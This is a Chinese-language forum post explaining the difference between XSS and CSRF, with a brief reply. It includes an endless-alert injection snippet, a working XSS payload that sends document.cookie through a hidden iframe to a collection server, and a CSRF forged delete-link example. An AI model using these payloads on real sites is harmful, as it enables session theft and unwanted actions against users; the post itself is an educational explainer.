技术控

    今日:67| 主题:49369
收藏本版 (1)
最新软件应用技术尽在掌握

[其他] 用大白话谈谈XSS与CSRF

[复制链接]
一厘米的距离ゃ 发表于 2016-10-2 00:19:19
160 1

立即注册CoLaBug.com会员,免费获得投稿人的专业资料,享用更多功能,玩转个人品牌!

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
这两个关键词也是老生常谈了,但是还总是容易让人忘记与搞混~。
    XSS与CSRF这两个关键词时常被拉出来一起比较(      尤其是面试),我在这里也在写一篇扫盲文,也帮自己整理一下知识脉络。   
    这篇文章会用尽量“人话”的语言解释这二个关键词,让同学们对跨域,安全有更深一层次的了解。
  国际惯例,先上一下维基百科:
    XSS:跨站脚本(Cross-site scripting,通常简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。      这类攻击通常包含了HTML以及用户端脚本语言。   
    I
    CSRF:跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上      执行非本意的操作的攻击方法。   
    维基的解释依旧高深莫测啊,我用 “人话”给大家解释一下吧。
    XSS: 通过客户端脚本语言(最常见如:JavaScript)
    在一个论坛发帖中发布一段恶意的JavaScript代码就是脚本注入,如果这个代码内容有请求外部服务器,那么就叫做XSS!
    CSRF:又称XSRF,冒充用户发起请求(在用户不知情的情况下),完成一些违背用户意愿的请求(如恶意发帖,删帖,改密码,发邮件等)。
    很多同学会搞不明白XSS与CSRF的区别,虽然这两个关键词时常抱团出现,但他们两个是不同维度的东西(或者说他们的目的是不一样的)。
    XSS更偏向于方法论,CSRF更偏向于一种形式,只要是伪造用户发起的请求,都可成为CSRF攻击。
      通常来说CSRF是由XSS实现的,所以CSRF时常也被称为XSRF[用XSS的方式实现伪造请求](但实现的方式绝不止一种,还可以直接通过命令行模式(命令行敲命令来发起请求)直接伪造请求[只要通过合法验证即可])。
    XSS更偏向于代码实现(即写一段拥有跨站请求功能的JavaScript脚本注入到一条帖子里,然后有用户访问了这个帖子,这就算是中了XSS攻击了),CSRF更偏向于一个攻击结果,只要发起了冒牌请求那么就算是CSRF了。
    简单来说,条条大路(XSS路,命令行路)通罗马(CSRF马,XSRF马)。
  前面讲了那么多理论介绍,那么我们来看一看实际代码吧。
  【 Talk is cheap,Show me the code 】

  场景:我在一条帖子里面写下了如下代码,发了出去,然后陆陆续续有很多可爱(wu / zhi) 的用户访问到这个帖子,然后用户接下来的所有操作都由我这串代码掌控了(各种姿势混着玩~)
  如下:
  1. while(true){
  2.     alert('你关不掉我');
  3. }
复制代码
   这个就是最原始的脚本注入了。
    用户进来就麻烦了,一直弹窗一直弹窗。
    那么XSS(跨站脚本)就是照瓢画葫了,用JavaScript写一个请求跨站的脚本就是XSS了,如下:
  1. // 用 <script type="text/javascript"></script> 包起来放在评论中
  2. (function(window, document) {
  3.     // 构造泄露信息用的 URL
  4.     var cookies = document.cookie;
  5.     var xssURIBase = "http://192.168.123.123/myxss/";
  6.     var xssURI = xssURIBase + window.encodeURI(cookies);
  7.     // 建立隐藏 iframe 用于通讯
  8.     var hideFrame = document.createElement("iframe");
  9.     hideFrame.height = 0;
  10.     hideFrame.width = 0;
  11.     hideFrame.style.display = "none";
  12.     hideFrame.src = xssURI;
  13.     // 开工
  14.     document.body.appendChild(hideFrame);
  15. })(window, document);
复制代码
此段代码携带着cookie信息传输给了          http://192.168.123.123/myxss/...这段服务器,然后服务器的代码就可以接收到了用户的隐私消息,继而继续做其他的业务处理(myxss/index.php 中写一些可怕的代码,如把用户信息存进自己的数据库)。      
  有没感觉到背后一寒
    看到这里感觉到危险了吧(想想初学程序时我们的站点完全没有这个意识,活生生的是在裸奔),=
    既然此段脚本注入能携带着用户信息到收集服务器,那么再研究研究,他自然能发邮件?发帖?一系列业务逻辑? ~~当然可以!。
    这里tips一下:上面的代码仅仅是XSS,并没有发生CSRF,因为192.168.123.123/myxss/index.php 仅仅是把用户信息存起来了而已,他并没有“伪造”用户发起一些请求,所以他只算是XSS攻击而不算是CSRF攻击,如果192.168.123.123/myxss/index.php 写的代码是 将当前用户的昵称改为“我是大笨猪”,那么就算是CSRF攻击了,因为这段代码伪造用户发出了请求(但是用户却不自知)。
    那么下面我介绍一下最最简单的CSRF攻击(没有用到XSS的哦):
    一个论坛,经过我的多次抓包分析(着重分析请求返回头,请求返回体)了解到这个论坛的删帖操作是触发      http://csdnblog.com/bbs/delet...“X" 那么,我只需要在论坛中发一帖,包含一链接:      http://csdnblog.com/bbs/delet...“X" ,只要有用户点击了这个链接,那么ID为X的这一篇文章就被删掉了,而且是用户完全不知情的情况(敲黑板状:此处我可没有写XSS脚本哦,我纯粹是发一个url地址出来而已,既然删除操作可以伪造,那么只要我细细分析,其他操作(发帖,改名字,发私信,只要是这个论坛具有的功能)我都可以伪造咯!   
    XSS与CSRF讲完了,回头我会讲下如何防范XSS与CSRF。
  今天国庆日,6天后国足将在西安迎战叙利亚,此战胜负十分关键!祝好运!国足队员加油!

    参考文章:
          https://segmentfault.com/a/11...《 总结 XSS 与 CSRF 两种跨站攻击 》   
          http://www.lxway.com/48228121...《CSRF CORS》   
    学习/(“抄”) 了不少文章(主要是demo代码不想重复写了),侵删。
友荐云推荐




上一篇:Test NLP-as-a-service providers with Bunt
下一篇:How Twitter deploys its widgets JavaScript
酷辣虫提示酷辣虫禁止发表任何与中华人民共和国法律有抵触的内容!所有内容由用户发布,并不代表酷辣虫的观点,酷辣虫无法对用户发布内容真实性提供任何的保证,请自行验证并承担风险与后果。如您有版权、违规等问题,请通过"联系我们"或"违规举报"告知我们处理。

无人喝彩 发表于 2016-10-2 22:58:27
为毛老子总也抢不到沙发?!!
回复 支持 反对

使用道具 举报

*滑动验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

我要投稿

推荐阅读

扫码访问 @iTTTTT瑞翔 的微博
回页顶回复上一篇下一篇回列表手机版
手机版/CoLaBug.com ( 粤ICP备05003221号 | 文网文[2010]257号 )|网站地图 酷辣虫

© 2001-2016 Comsenz Inc. Design: Dean. DiscuzFans.

返回顶部 返回列表